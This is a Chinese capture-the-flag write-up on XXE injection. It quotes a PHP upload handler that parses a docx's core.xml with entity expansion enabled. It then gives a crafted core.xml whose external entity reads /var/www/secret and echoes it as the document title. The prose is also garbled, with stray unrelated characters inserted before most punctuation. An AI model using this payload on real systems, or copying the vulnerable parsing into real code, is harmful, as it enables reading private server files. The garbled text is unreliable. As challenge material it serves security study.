0x01 背景 xxe的注入
https://security.tencent.com/index.php/blog/msg/69
背景就是這樣岳链,我們可以構(gòu)造一個惡意的xml文件婿牍,在系統(tǒng)進行解析的時候端仰,會執(zhí)行其中的命令漂羊,從而造成危害
0x02 本題的解析
題目地址 http://www.f4ck0.com:8888/
上代碼,做一下簡要的分析
<php
if(isset($_POST["submit"])) {
$target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
try {
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.<br/>";
}
} catch (Exception $e){
echo "The file you uploaded is not a valid xml or docx file.";
}
} else {
echo "Sorry, there was an error uploading your file.";
}
}
以上就是這道題的核心代碼糖埋,下面來分析一下撕攒。
首先獲取上傳的文件咬像,并且使用php的zip方式去讀取zip壓縮文件中的
docProps/core.xml
文件使用xml去解析之
然后再獲取title節(jié)點的內(nèi)容,并輸出
好了疚脐,這就是這道題亿柑。首先我們要知道,docx類型的文件本質(zhì)上而言就是zip壓縮包棍弄,所以這里使用zip去讀取的望薄。
所以,我們可以根據(jù)背景所說的呼畸,去修改題目所給的案例docx文件中的docProps/core.xml
痕支,然后上傳去獲取flag。
下面給出修改過后的core.xml文件內(nèi)容
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "/var/www/secret">
]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>&xxe;</dc:title>
<dc:subject></dc:subject>
<dc:creator></dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy></cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Z</dcterms:modified>
</cp:coreProperties>
替換掉原來docx中的core.xml就可以了